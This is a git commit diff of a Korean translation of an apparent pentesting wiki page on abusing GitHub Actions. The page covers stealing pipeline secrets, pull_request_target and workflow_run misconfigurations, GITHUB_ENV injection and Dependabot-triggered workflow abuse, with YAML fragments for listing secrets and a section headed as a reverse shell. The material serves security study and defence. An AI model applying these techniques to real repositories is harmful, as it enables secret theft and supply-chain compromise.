Translated ['', 'src/pentesting-cloud/gcp-security/gcp-post-exploitation

This commit is contained in:
Translator
2025-09-29 22:32:47 +00:00
parent 1a82f6d658
commit 6e3a7219a9
7 changed files with 441 additions and 408 deletions
@@ -4,55 +4,55 @@
## 도구
다음 도구들은 Github Action 워크플로우를 찾고 취약한 것들을 찾아내는 데 유용합니다:
다음 도구들은 Github Action workflows를 찾고 취약한 워크플로우까지 찾아내는 데 유용합니다:
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
- [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - 또한 [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)에 있는 체크리스트도 확인하세요
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Check also its checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
## 기본 정보
이 페이지에서는 다음을 다룹니다:
- 공격자가 Github Action에 접근했을 때 발생할 수 있는 모든 영향의 **요약**
- 액션에 **접근 권한을 얻는** 다양한 방법:
- 액션을 생성할 수 있는 **권한** 보유
- **pull request** 관련 트리거 악용
- 기타 **외부 접근** 기법 악용
- 이미 침해된 repo로부터의 **Pivoting**
- 마지막으로, 내부에서 액션을 악용하기 위한 **post-exploitation 기법** 섹션(앞서 언급 영향들을 야기)
- 공격자가 Github Action에 접근했을 때 발생할 수 있는 **모든 영향의 요약**
- 액션에 **접근 권한을 얻는 다양한 방법**:
- 액션을 생성할 수 있는 **권한** 보유
- **pull request** 관련 트리거 악용
- 기타 **외부 접근** 기법 악용
- 이미 침해된 repo에서 **Pivoting**
- 마지막으로, 내부에서 액션을 악용하기 위한 **post-exploitation** 기법에 관한 섹션(앞서 언급 영향 유발)
## 영향 요약
For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
만약 리포지토리 내에서 **GitHub Actions에서 임의의 코드를 실행**할 수 있다면, 다음을 수행할 수 있습니다:
포지토리 내에서 **GitHub Actions**에서 임의의 코드를 실행할 수 있다면, 다음을 수행할 수 있습니다:
- 파이프라인에 마운트된 **secrets**를 탈취하고 파이프라인 권한을 **악용**하여 AWS GCP와 같은 외부 플랫폼에 무단 접근할 수 있습니다.
- 배포(deployments) 및 기타 **artifacts**를 손상시킬 수 있습니다.
- 파이프라인이 자산을 배포하거나 저장하는 경우, 최종 제품을 변경하여 공급망 공격을 수행할 수 있습니다.
- 커스텀 워커(custom workers)에서 코드를 실행하여 컴퓨팅 파워를 악용하고 다른 시스템으로 pivot할 수 있습니다.
- `GITHUB_TOKEN`에 연된 권한에 따라 포지토리 코드를 덮어쓸 수 있습니다.
- 파이프라인에 마운트된 **secrets**를 탈취하고 파이프라인 권한을 남용해 AWS, GCP 등의 외부 플랫폼에 무단 접근할 수 있습니다.
- 배포(deployments) 및 기타 아티팩트(artifacts)를 손상시킬 수 있습니다.
- 파이프라인이 자산을 배포하거나 저장하는 경우 최종 제품을 변경하여 공급망 공격을 유발할 수 있습니다.
- 커스텀 워커(custom workers)에서 코드를 실행하여 컴퓨팅 자원을 악용하고 다른 시스템으로 pivot할 수 있습니다.
- `GITHUB_TOKEN`에 연된 권한에 따라 포지토리 코드를 덮어쓸 수 있습니다.
## GITHUB_TOKEN
이 "**secret**" ( `${{ secrets.GITHUB_TOKEN }}``${{ github.token }}` 에서 나오는) 관리자가 이 옵션을 활성화 때 부여됩니다:
이 "**secret**"( `${{ secrets.GITHUB_TOKEN }}``${{ github.token }}`에서 나오는) 관리자가 이 옵션을 활성화했을 때 부여됩니다:
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
이 토큰은 **Github Application이 사용** 것과 동일하므로, 동일한 엔드포인트에 접근할 수 있습니다: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
이 토큰은 **Github Application**이 사용하는 것과 동일하므로 동일한 엔드포인트에 접근할 수 있습니다: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
> Github [**flow**](https://github.com/github/roadmap/issues/74)를 공개해야 합니다. 이는 GitHub 내에서 **cross-repository** 접근을 허용하여 리포지토리가 `GITHUB_TOKEN`을 사용해 다른 내부 리포지토리에 접근할 수 있게 합니다.
> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
이 토큰의 가능한 **권한**은 다음에서 확인할 수 있습니다: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
가능한 이 토큰의 **권한**은 다음에서 확인할 수 있습니다: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
토큰은 **작업이 완료된 후 만료**된다는 점에 유의하세요.\
이 토큰은 다음과 같은 형태입니다: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
토큰은 **작업이 완료된 후 만료**됩니다.\
토큰은 다음과 같은 형태입니다: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
이 토큰으로 할 수 있는 몇 가지 흥미로운 것들:
이 토큰으로 할 수 있는 흥미로운 것들:
{{#tabs }}
{{#tab name="Merge PR" }}
@@ -91,11 +91,11 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
{{#endtabs }}
> [!CAUTION]
> 여러 경우에 **github user tokens inside Github Actions envs or in the secrets**를 찾을 수 있다는 점에 유의하세요. 이러한 토큰은 repository와 organization에 대 더 많은 권한을 부여할 수 있습니다.
> 여러 경우에 **github user tokens inside Github Actions envs or in the secrets**를 발견할 수 있다는 점에 유의하세요. 이 토큰리포지토리와 조직에 대 더 많은 권한을 부여할 수 있습니다.
<details>
<summary>List secrets in Github Action output</summary>
<summary>Github Action 출력에서 secrets 나열</summary>
```yaml
name: list_env
on:
@@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
<details>
<summary>secrets를 이용 reverse shell 획득</summary>
<summary>secrets를 이용 reverse shell 얻기</summary>
```yaml
name: revshell
on:
@@ -144,29 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
다른 사용자의 리포지토리에서 Github Token에 부여된 권한은 actions의 **로그 확인**을 통해 확인할 수 있습니다:
다른 사용자의 리포지토리에서 Github Token에 부여된 권한은 **Github Actions의 로그 확인**해서 알 수 있습니다:
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
## 허용된 실행
> [!NOTE]
> Github actions를 손상시키기 위한 가장 쉬운 방법일 것입니다. 이 경우 조직 내에서 **새 리포지토리를 생성할 수 있는 권한**, 또는 **저장소에 대한 쓰기 권한**이 있다고 가정합니다.
> 방법은 Github actions를 탈취하기 위한 가장 쉬운 방법입니다. 이 경우 조직 **새 리포지토리를 생성할 수 있는 권한(create a new repo in the organization)** 이 있거나 리포지토리에 대한 **쓰기 권한(write privileges over a repository)** 이 있다고 가정합니다.
>
> 이 상황이라면 [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) 확인하면 됩니다.
> 이 상황이라면 [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) 확인하세요.
### Execution from Repo Creation
### 리포지토리 생성에서의 실행
조직 구성원이 **새 리포지토리를 생성할 수 있고** 당신이 github actions를 실행할 수 있는 경우, **새 리포지토리를 생성하여 조직 수준에 설정된 secrets를 탈취할 수 있습니다**.
조직 구성원이 **새 리포지토리를 생성할 수 있고** 당신이 Github actions를 실행할 수 있다면, 새 리포지토리를 만들어 조직 수준에 설정된 **secrets**를 탈취할 수 있습니다.
### Execution from a New Branch
### 새 브랜치에서의 실행
이미 Github Action이 구성된 저장소에 **새 브랜치를 생성할 수 있다면**, 해당 액션**수정**하고, 내용을 **업로드**한 뒤 **새 브랜치에서 해당 action을 실행**할 수 있습니다. 이 방법으로 **exfiltrate repository and organization level secrets** (단, 이름을 알야 합니다).
이미 Github Action이 구성된 리포지토리에서 **새 브랜치를 생성할 수 있다면**, 해당 Action을 **수정**하고, 콘텐츠를 **업로드**한 뒤 새 브랜치에서 그 액션을 **실행**할 수 있습니다. 이렇게 하면 리포지토리 및 조직 수준의 **secrets**를 **exfiltrate**할 수 있습니다(단, 이름을 알고 있어야 합니다).
> [!WARNING]
> workflow YAML 내부에만 구현된 제한(예: `on: push: branches: [main]`, job conditionals, 또는 manual gates)은 협력자가 편집할 수 있습니다. 외부에서 강제지 않으면 (branch protections, protected environments, and protected tags), 기여자는 워크플로우의 실행 대상을 자신의 브랜치로 변경하여 마운트된 secrets/permissions를 악용할 수 있습니다.
> workflow YAML 내부에만 구현된 제한(예: `on: push: branches: [main]`, job conditionals, 또는 수동 게이트)은 협력자가 편집할 수 있습니다. 외부에서 강제지 않으면(branch protections, protected environments, and protected tags), 기여자는 워크플로를 자신의 브랜치에서 실행되도록 재지정하고 마운트된 secrets/permissions를 악용할 수 있습니다.
수정 액션을 **수동으로** 실행게 하거나, **PR이 생성될 때** 또는 **코드가 푸시될 때** 실행되게 할 수 있습니다(얼마나 눈에 띄게 할지에 따라 다름):
수정 액션을 **수동으로** 실행 가능하게 하거나, **PR이 생성될 때** 또는 **코드가 푸시될 때**(얼마나 눈에 띄게 할지에 따라) 실행하게 만들 수 있습니다:
```yaml
on:
workflow_dispatch: # Launch manually
@@ -183,46 +183,46 @@ branches:
## 포크된 실행
> [!NOTE]
> 공격자가 다른 리포지토리의 **Github Action을 실행**할 수 있게 하는 다양한 트리거가 있습니다. 이러한 트리거 가능한 action들이 잘못 구성되어 있으면 공격자가 이를 침해할 수 있습니다.
> 공격자가 다른 저장소의 **Github Action을 실행할 수 있게 하는** 다양한 트리거가 존재합니다. 이러한 트리거 가능한 액션이 잘못 구성되어 있으면 공격자가 이를 악용할 수 있습니다.
### `pull_request`
워크플로 트리거 **`pull_request`**는 풀 리퀘스트가 수신될 때마다 워크플로를 실행합니다. 몇 가지 예외가 있습니다: 기본적으로 협업이 **처음**인 경우에는 일부 **유지관리자**가 워크플로의 **실행**을 **승인**해야 합니다:
워크플로 트리거 **`pull_request`**는 풀 리퀘스트가 수신될 때마다 워크플로를 실행합니다. 다만 몇 가지 예외가 있습니다: 기본적으로 **처음으로** **기여하는 경우**, 일부 **메인테이너**가 워크플로의 **실행**을 **승인**해야 합니다:
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> 기본 제한이 **처음 기여자**에 적용되므로, 유효한 버그/오타를 수정하는 PR로 기여한 후 새로 얻은 `pull_request` 권한을 용하기 위해 **다른 PR**을 보낼 수 있습니다.
> 기본 제한이 ** 기여자**에 해당하므로, 유효한 버그/오타를 **수정하는 PR을 제출한 뒤** 새로 얻은 **`pull_request` 권한을 용하기 위해 다른 PR을 보낼 수 있습니다**.
>
> **저는 이걸 테스트지만 작하지 않았습니다**: ~~또 다른 옵션은 프로젝트에 기여했던 사람의 이름으로 계정을 만들고 그 계정을 삭제하는 것입니다.~~
> **이것을 테스트해보았지만 작하지 않았습니다**: ~~프로젝트에 기여했던 사람의 이름으로 계정을 생성한 뒤 그 계정을 삭제한 것처럼 보이게 하는 옵션이 있었습니다.~~
또한 기본적으로 대상 리포지토리에 대 **쓰기 권한**과 **secrets 접근**을 허용하지 않습니다(자세한 내용은 [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) 참조):
또한, 기본적으로 대상 저장소에 대 **쓰기 권한 부여를 차단**하고 **시크릿 접근을 차단**합니다. 자세한 내용은 [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories)에서 확인할 수 있습니다:
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
공격자는 Github Action 정의를 수정해 임의의 코드를 실행하거나 임의의 액션을 추가할 수 있습니다. 그러나 앞서 언급한 제한 때문에 비밀을 훔치거나 리포지토리를 덮어쓸 수는 없습니다.
공격자는 Github Action 정의를 수정해 임의의 작업을 실행하거나 임의의 액션을 추가할 수 있습니다. 다만 앞서 언급한 제한 때문에 시크릿을 훔치거나 저장소를 덮어쓸 수는 없습니다.
> [!CAUTION]
> **네, 공격자가 PR에서 트리거될 github action을 변경하면, 사용되는 것은 원본 리포지토리의 것이 아니라 공격자의 Github Action이 됩니다!**
> **예 — 공격자가 PR에서 트리거될 github action을 변경하면, origin repo의 것이 아니라 의 Github Action이 사용됩니다!**
공격자가 실행되는 코드를 제어하기 때문에, `GITHUB_TOKEN`비밀이나 쓰기 권한이 없더라도 예를 들어 **악성 아티팩트 업로드** 같은 행동을 할 수 있습니다.
공격자가 실행되는 코드를 제어하므로, `GITHUB_TOKEN`시크릿이나 쓰기 권한이 없어도 공격자는 예를 들어 **upload malicious artifacts**할 수 있습니다.
### **`pull_request_target`**
워크플로 트리거 **`pull_request_target`**는 대상 리포지토리에 대한 **쓰기 권한**과 **secrets 접근**을 가지며(권한 요청을 하지 않습니다).
워크플로 트리거 **`pull_request_target`**는 대상 저장소에 대한 **쓰기 권한**과 **시크릿 접근**을 가지며(별도 승인 없이) 동작합니다.
워크플로 트리거 **`pull_request_target`**는 **base 컨텍스트에서 실행되며** PR에서 제공 컨텍스트에서 실행되지 않습니다(신뢰할 수 없는 코드를 실행하지 않기 위해서입니다). `pull_request_target`에 대한 자세한 내용은 [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target) 참조하세요.\
또한 이 특정 위험한 사용에 한 자세한 내용은 [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)를 확인하세요.
참고로 워크플로 트리거 **`pull_request_target`**는 **기본 컨텍스트에서 실행**되며 PR 제공하는 컨텍스트에서 실행되지 않습니다(신뢰할 수 없는 코드를 실행하지 않기 위해). `pull_request_target`에 대한 자세한 내용은 [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)를 확인하세요.\
또한 이 특정 위험한 사용에 한 자세한 내용은 [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)를 참고하세요.
실행되는 워크플로**base**에 정의된 것이고 **PR**의 것이 아니기 때문에 **`pull_request_target`**을 사용하는 것이 **안전해 보일 수** 있지만, **안전하지 않은 몇몇 경우**가 있습니다.
실행되는 워크플로가 **base에 정의된 것**이고 **PR의 것이 아** 것이기 때문에 **`pull_request_target`**을 사용하는 것이 **안전해 보일 수 있지만**, 그렇지 않은 경우가 **몇 가지 있습니다**.
그리고 이것은 **secrets에 접근**할 수 있습니다.
그리고 이 트리거는 **시크릿에 접근**할 수 있습니다.
### `workflow_run`
The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) 트리거는 워크플로`completed`, `requested` 또는 `in_progress` 상태일 때 다른 워크플로를 실행할 수 있게 합니다.
[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) 트리거는 다른 워크플로가 `completed`, `requested` 또는 `in_progress` 상태일 때 워크플로를 실행할 수 있게 합니다.
이 예에서는 별도의 "Run Tests" 워크플로가 완료된 후에 워크플로우가 실행되도록 구성되어 있습니다:
이 예에서는, 별도의 "Run Tests" 워크플로가 완료된 후에 실행되도록 워크플로가 구성되어 있습니다:
```yaml
on:
workflow_run:
@@ -230,47 +230,29 @@ workflows: [Run Tests]
types:
- completed
```
Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
또한 문서에 따르면: `workflow_run` 이벤트로 시작된 워크플로우는 이전 워크플로우가 그렇지 않았더라도 **secrets write tokens에 접근하고 쓸 수 있다**.
밖에 문서에 따르면: `workflow_run` 이벤트로 시작된 workflow는 **이전 workflow가 그렇지 않았더라도 secrets에 접근하고 토큰을 쓸 수 있습니다**.
This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\
The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**.
이런 종류의 workflow는 외부 사용자가 **`pull_request`** 또는 **`pull_request_target`**을 통해 트리거할 수 있는 **workflow**에 **종속**되어 있는 경우 공격받을 수 있습니다. 취약한 예시는 [**이 블로그**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)에서 확인할 수 있습니다. 첫 번째 예시는 **`workflow_run`**으로 트리거된 workflow가 공격자의 코드를 다운로드하는 경우입니다: `${{ github.event.pull_request.head.sha }}`\
두 번째 예시는 **신뢰할 수 없는** 코드에서 생성된 **artifact**를 **`workflow_run`** workflow로 **전달**하고, 그 artifact의 내용을 사용함으로써 **RCE에 취약**해지는 경우입니다.
러한 유형의 워크플로우는 외부 사용자가 **`pull_request`** 또는 **`pull_request_target`**을 통해 **trigger**할 수 있는 **workflow**에 **의존**하는 경우 공격받을 수 있다. 취약한 예제 몇 가지는 [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** 첫 번째는 `workflow_run`로 트리거된 워크플로우가 공격자의 코드를 다운로드하는 방식이다: `${{ github.event.pull_request.head.sha }}`\
두 번째는 **untrusted** 코드에서 생성된 **artifact**를 **`workflow_run`** 워크플로우로 **전달**하고, 그 artifact의 내용을 RCE에 취약하게 사용하는 경우이다.
### `workflow_call`
TODO
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
TODO: pull_request에서 실행될 때 사용/다운로드되는 코드가 원본(origin)의 것인지 포크된 PR의 것인지 확인
## Abusing Forked Execution
## 포크된 실행 악용
We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:
외부 공격자가 github 워크플로우를 실행시키는 모든 방법을 언급했다. 이제 이러한 실행들이 잘못 구성되었을 때 어떻게 악용될 수 있는지 살펴보자:
## Abusing Forked Execution
### 신뢰되지 않은 checkout 실행
외부 공격자가 github workflow를 실행시키는 모든 방법을 언급했습니다. 이제 이러한 실행들이 잘못 구성되었을 때 어떻게 악용될 수 있는지 살펴보겠습니다.
`pull_request`의 경우, 워크플로우는 **PR의 컨텍스트**에서 실행되므로 (**악성 PR의 코드가 실행된다**), 하지만 누군가 먼저 **승인해야 하며** [limitations](#pull_request)가 적용된 상태로 실행된다.
### Untrusted checkout execution
In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](#pull_request).
### Untrusted checkout execution
**`pull_request`**의 경우 workflow는 **PR의 컨텍스트**에서 실행되므로 (**악의적인 PR의 코드가 실행됩니다**). 다만 누군가 먼저 **승인해야** 하고 일부 [제한사항](#pull_request)이 적용됩니다.
In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**.
`pull_request_target` 또는 `workflow_run`을 사용하는 workflow가 **`pull_request_target` 또는 `pull_request`**로 트리거될 수 있는 다른 workflow에 의존하는 경우, 원본 리포지토리의 코드가 실행되므로 **공격자가 실행되는 코드를 제어할 수는 없습니다**.
`pull_request_target` 또는 `workflow_run`을 사용하는 워크플로우가 `pull_request_target` 또는 `pull_request`로 트리거될 수 있는 워크플로우에 의존하는 경우 원본 리포지토의 코드가 실행되므로 **공격자는 실행되는 코드를 제어할 수 없다**.
> [!CAUTION]
> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
> [!CAUTION]
> 다만 **action**에 **명시적인 PR checkout**이 있어 **PR의 코드**(base가 아닌)를 가져오도록 되어 있다면, 공격자가 제어하는 코드가 사용됩니다. 예를 들어(PR 코드가 다운로드되는 12번 라인을 확인하세요):
> 그러나 **action**이 **명시적인 PR checkout**을 가지고 있어 PR로부터 코드를 **가져오는 경우**(base가 아니라), 공격자가 제어하는 코드를 사용하게 된다. 예를 들어 (PR 코드를 다운로드하는 12번째 줄을 확인):
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
on:
@@ -300,23 +282,14 @@ message: |
Thank you!
</code></pre>
The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**.
잠재적으로 **신뢰할 수 없는 코드가 `npm install` 또는 `npm build` 중에 실행될 수 있습니다**. 빌드 스크립트와 참조된 **패키지들이 PR 작성자에 의해 제어되기 때문**입니다.
빌드 스크립트와 참조된 **packages는 PR 작성자가 제어**하기 때문에, 잠재적으로 **untrusted code가 `npm install` 또는 `npm build` 중에 실행된다**.
> [!WARNING]
> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
> 취약한 action을 찾기 위한 github dork는: `event.pull_request pull_request_target extension:yml` 이다. 그러나 action이 안전하지 않게 구성되어 있어도 jobs를 안전하게 구성하는 다양한 방법(예: PR을 생성하는 actor에 대한 조건문 사용)이 있다.
> [!WARNING]
> 취약한 actions를 검색하기 위한 github dork 예: `event.pull_request pull_request_target extension:yml` 그러나 action이 불안전하게 설정되어 있어도 job을 안전하게 실행하도록 구성하는 다양한 방법이 있습니다(예: PR을 생성한 actor가 누구인지에 대한 조건문 사용).
### 컨텍스트 스크립트 인젝션 <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:**
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
일부 [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context)의 값은 PR을 생성하는 **사용자**에 의해 **제어**된다는 점을 주의하세요. 만약 github action이 그 **데이터를 사용해 어떤 동작을 실행**한다면, **임의 코드 실행**로 이어질 수 있습니다:
일부 [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context)의 값은 PR을 생성하는 **사용자**에 의해 제어된다는 점에 유의하라. 만약 github action이 그 **데이터를 사용해 어떤 작업을 실행한다면**, 이는 **임의 코드 실행**로 이어질 수 있다:
{{#ref}}
gh-actions-context-script-injections.md
@@ -324,29 +297,17 @@ gh-actions-context-script-injections.md
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
문서에 따르면: 워크플로우 잡에서 환경 변수를 정의하거나 업데이트하고 이를 **`GITHUB_ENV`** 환경 파일에 기록하면 **이후 단계들에서 해당 환경 변수를 사용할 수 있게 된다**.
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
공격자가 이 **env** 변수에 **어떤 값이라도 주입할 수 있다면**, LD_PRELOAD나 NODE_OPTIONS 같은 이후 단계에서 코드를 실행할 수 있는 환경 변수를 주입할 수 있다.
문서에 따르면: workflow job에서 **환경 변수를 정의하거나 업데이트하고 이를 `GITHUB_ENV` 환경 파일에 기록하면**, 해당 환경 변수를 이후의 모든 단계에서 사용할 수 있게 됩니다.
If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**.
만약 공격자가 이 **env** 변수 안에 **임의의 값을 주입**할 수 있다면, **LD_PRELOAD**나 **NODE_OPTIONS**처럼 이후 단계에서 코드를 실행시킬 수 있는 환경 변수를 주입할 수 있습니다.
For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
예를 들어 ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) 및 [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), 업로드된 artifact의 내용을 **`GITHUB_ENV`** 환경 변수에 저장하도록 신뢰하는 workflow를 상상해보세요. 공격자는 이를 악용하기 위해 다음과 같은 내용을 업로드할 수 있습니다:
예를 들어 ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), 업로드된 artifact를 신뢰하여 그 내용을 **`GITHUB_ENV`** env 변수에 저장하는 워크플로우를 상상해보자. 공격자는 이를 악용하기 위해 다음과 같은 것을 업로드할 수 있다:
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
### Dependabot and other trusted bots
### Dependabot 및 기타 신뢰된 봇
As indicated in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), several organizations have a Github Action that merges any PRR from `dependabot[bot]` like in:
### Dependabot and other trusted bots
[**이 블로그 글**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest)에 따르면, 여러 조직이 `dependabot[bot]`에서 온 PR을 자동으로 병합하는 Github Action을 사용하고 있습니다. 예를 들면:
```yaml
on: pull_request_target
jobs:
@@ -356,14 +317,14 @@ if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: gh pr merge $ -d -m
```
이것은 문제가 된다. 왜냐하면 `github.actor` 필드에는 워크플로우를 트리거한 최신 이벤트를 발생시킨 사용자가 들어 있기 때문이다. 또한 `dependabot[bot]` 사용자가 PR을 수정하게 만드는 방법은 여러 가지가 있다. 예를 들어:
Which is a problem because the `github.actor` field contains the user who caused the latest event that triggered the workflow. And There are several ways to make the `dependabot[bot]` user to modify a PR. For example:
- Fork the victim repository
- 자신의 복사본에 malicious payload를 추가한다
- 자신의 fork에서 Dependabot을 활성화하고 오래된 dependency를 추가한다. Dependabot은 그 dependency를 수정하는 브랜치를 생성하는데, 여기에 malicious code가 포함된다.
- 브랜치에서 피해자 리포지토리로 Pull Request를 연다 (PR은 사용자가 생성하므로 아직 아무 일도 일어나지 않는다)
- 그런 다음 공격자는 자신의 fork에서 Dependabot이 처음 연 PR로 돌아가 `@dependabot recreate`를 실행한다
- Dependabot 해당 브랜치에서 몇 가지 작을 수행하여 피해자 리포지토리의 PR을 수정하게 되고, 이로 인해 최신 이벤트를 트리거한 actor가 `dependabot[bot]`이 되어(따라서 워크플로가 실행된다).
- 피해자 리포지토리를 Fork한다
- 자신의 복사본에 악성 페이로드를 추가한다
- 포크에서 Dependabot을 활성화하고 오래된 dependency를 추가한다. Dependabot은 의존성을 수정하는 브랜치를 생성하는데, 그 브랜치에 악성 코드가 들어있다.
- 해당 브랜치에서 피해자 리포지토리로 Pull Request를 연다(PR은 사용자가 생성하므로 아직 아무 일도 일어나지 않는다)
- 그런 다음, 공격자는 포크에서 Dependabot이 열었던 초기 PR로 돌아가 `@dependabot recreate`를 실행한다
-러면 Dependabot 해당 브랜치에서 몇 가지 작을 수행하여 피해자 리포지토리의 PR을 수정하고, 이로 인해 최신 이벤트를 발생시킨 actor가 `dependabot[bot]`이 되어 워크플로가 실행된다.
Moving on, what if instead of merging the Github Action would have a command injection like in:
```yaml
@@ -377,12 +338,12 @@ steps:
```
Well, the original blogpost proposes two options to abuse this behavior being the second one:
- 대상 리포지토리를 포크하고 오래된 의존성으로 Dependabot을 활성화합니다.
- 악성 shell injeciton 코드를 포함한 새 브랜치를 만듭니다.
- 리포지토리의 기본 브랜치(default branch)해당 브랜치로 변경합니다.
-브랜치로부터 대상 리포지토리에 PR을 생성합니다.
- 포크에서 Dependabot이 연 PR에서 `@dependabot merge`를 실행합니다.
- Dependabot은 포크 리포지토리의 기본 브랜치에 변경사항을 병합하여 대상 리포지토리의 PR을 업데이트합니다. 이제 워크플로를 트리거한 최신 이벤트의 실행자는 `dependabot[bot]`이 되며, 악성 브랜치 이름이 사용됩니다.
- 피해자 repository를 fork하고 오래된 dependency로 Dependabot을 활성화다.
- 악성 shell injection 코드를 담은 새 branch를 만다.
- repo의 default branch를 브랜치로 변경다.
-branch로부터 피해자 repository에 PR을 생성다.
- 그의 fork에서 Dependabot이 연 PR에서 `@dependabot merge`를 실행다.
- Dependabot은 그의 변경사항을 포크 리포지토리의 default branch에 merge하여 피해자 리포지토리의 PR을 업데이트다. 결과적으로 최신 이벤트를 트리거한 actor가 `dependabot[bot]`이 되며, 악성 branch 이름이 사용다.
### 취약한 서드파티 Github Actions
